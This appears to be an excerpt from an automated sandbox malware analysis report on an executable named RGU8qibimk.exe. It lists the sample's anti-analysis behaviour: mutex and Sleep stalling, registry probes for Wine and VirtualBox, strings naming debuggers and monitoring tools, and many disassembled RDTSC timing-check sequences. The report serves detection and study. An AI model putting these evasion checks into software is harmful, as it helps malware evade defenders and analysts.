Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Found evasive API chain (may stop execution after checking mutex)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Evasive API call chain: CreateMutex,DecisionNodes,Sleep
Found stalling execution ending in API Sleep call
Source: C:\Users\user\AppData\Local\Temp\service123.exe Stalling execution: Execution stalls by calling Sleep
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\RGU8qibimk.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: RGU8qibimk.exe, 00000000.00000003.1441157960.0000000007B40000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 135F495 second address: 135F4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jc 00007FDF08CE3B98h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 135F4A6 second address: 135F4EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FDF09105E44h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FDF09105E3Eh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378607 second address: 137860D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137860D second address: 1378613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378798 second address: 13787D1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF08CE3BA3h 0x00000008 jbe 00007FDF08CE3B9Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDF08CE3BA2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378997 second address: 13789AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E3Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13789AB second address: 13789B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13789B7 second address: 13789C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E3Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13789C6 second address: 13789D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13789D3 second address: 13789D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13789D7 second address: 13789F8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FDF08CE3BA8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13789F8 second address: 13789FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13789FE second address: 1378A09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDF08CE3B96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378A09 second address: 1378A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF09105E40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378B5B second address: 1378B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378B61 second address: 1378B77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E42h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378B77 second address: 1378B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1378B81 second address: 1378B97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E42h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137A8ED second address: 137A8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137A8F2 second address: 137A928 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jbe 00007FDF09105E4Eh 0x00000012 jmp 00007FDF09105E48h 0x00000017 mov eax, dword ptr [eax] 0x00000019 je 00007FDF09105E40h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137A9AC second address: 137A9D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007FDF08CE3B9Dh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 movzx edx, di 0x00000013 push 00000000h 0x00000015 push 8B9BB056h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137A9D5 second address: 137A9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137A9DA second address: 137AA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 7464502Ah 0x0000000f mov dword ptr [ebp+122D1819h], eax 0x00000015 push 00000003h 0x00000017 sub dword ptr [ebp+122D181Eh], ecx 0x0000001d push 00000000h 0x0000001f jp 00007FDF08CE3B9Ch 0x00000025 push 00000003h 0x00000027 movzx edx, cx 0x0000002a push CB4ABDCCh 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jnc 00007FDF08CE3B96h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137AA19 second address: 137AA1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137AB80 second address: 137AB86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137AB86 second address: 137ABC5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FDF09105E36h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 53EA9571h 0x00000013 xor esi, dword ptr [ebp+122D3820h] 0x00000019 lea ebx, dword ptr [ebp+1244E817h] 0x0000001f jmp 00007FDF09105E3Ch 0x00000024 xchg eax, ebx 0x00000025 push edx 0x00000026 push edi 0x00000027 pushad 0x00000028 popad 0x00000029 pop edi 0x0000002a pop edx 0x0000002b push eax 0x0000002c pushad 0x0000002d ja 00007FDF09105E38h 0x00000033 push ebx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 137AC80 second address: 137ACE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDF08CE3BA6h 0x0000000b popad 0x0000000c xor dword ptr [esp], 60BBAB9Fh 0x00000013 jnp 00007FDF08CE3B9Ch 0x00000019 push 00000003h 0x0000001b mov dword ptr [ebp+122D1AA6h], esi 0x00000021 push 00000000h 0x00000023 mov ecx, edi 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007FDF08CE3B98h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 push D6643C14h 0x00000046 pushad 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139A91B second address: 139A921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139A921 second address: 139A926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139ABF4 second address: 139ABFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139AD7C second address: 139AD86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139AEE4 second address: 139AEE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139AEE8 second address: 139AEEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139AEEE second address: 139AEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139AEF4 second address: 139AF18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Eh 0x00000007 pushad 0x00000008 jmp 00007FDF08CE3BA1h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139B925 second address: 139B93D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E42h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139B93D second address: 139B962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007FDF08CE3B96h 0x0000000d jmp 00007FDF08CE3BA8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139B962 second address: 139B966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139BAAD second address: 139BAD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FDF08CE3B96h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139BAD4 second address: 139BAD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 138F124 second address: 138F131 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 138F131 second address: 138F13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1367CDD second address: 1367CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1367CE3 second address: 1367CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FDF09105E36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1367CF3 second address: 1367CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139C555 second address: 139C560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDF09105E36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139C6BF second address: 139C6C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139DF62 second address: 139DF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDF09105E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 139DF6C second address: 139DF70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A2633 second address: 13A2647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jg 00007FDF09105E36h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A2A6D second address: 13A2A72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 136E6C9 second address: 136E6D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 136E6D2 second address: 136E6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 136E6D8 second address: 136E6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 136E6DD second address: 136E722 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FDF08CE3BA8h 0x00000008 pop ebx 0x00000009 jmp 00007FDF08CE3BA1h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push edi 0x00000012 jmp 00007FDF08CE3BA0h 0x00000017 pop edi 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6588 second address: 13A65A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDF09105E48h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6783 second address: 13A679A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDF08CE3BA2h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A69FA second address: 13A6A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF09105E41h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6A10 second address: 13A6A17 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6A17 second address: 13A6A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6A26 second address: 13A6A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6A2A second address: 13A6A34 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF09105E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6A34 second address: 13A6A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6A47 second address: 13A6A51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDF09105E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6A51 second address: 13A6A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A6BE2 second address: 13A6BE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A9FDB second address: 13A9FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AA0AC second address: 13AA0DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FDF09105E3Fh 0x00000014 jl 00007FDF09105E36h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AA0DE second address: 13AA13E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FDF08CE3B98h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 stc 0x00000027 call 00007FDF08CE3B99h 0x0000002c jmp 00007FDF08CE3BA9h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FDF08CE3BA0h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AA13E second address: 13AA180 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF09105E38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jc 00007FDF09105E4Ch 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 jne 00007FDF09105E38h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AA180 second address: 13AA184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AA184 second address: 13AA18A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13AB1BA second address: 13AB1BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
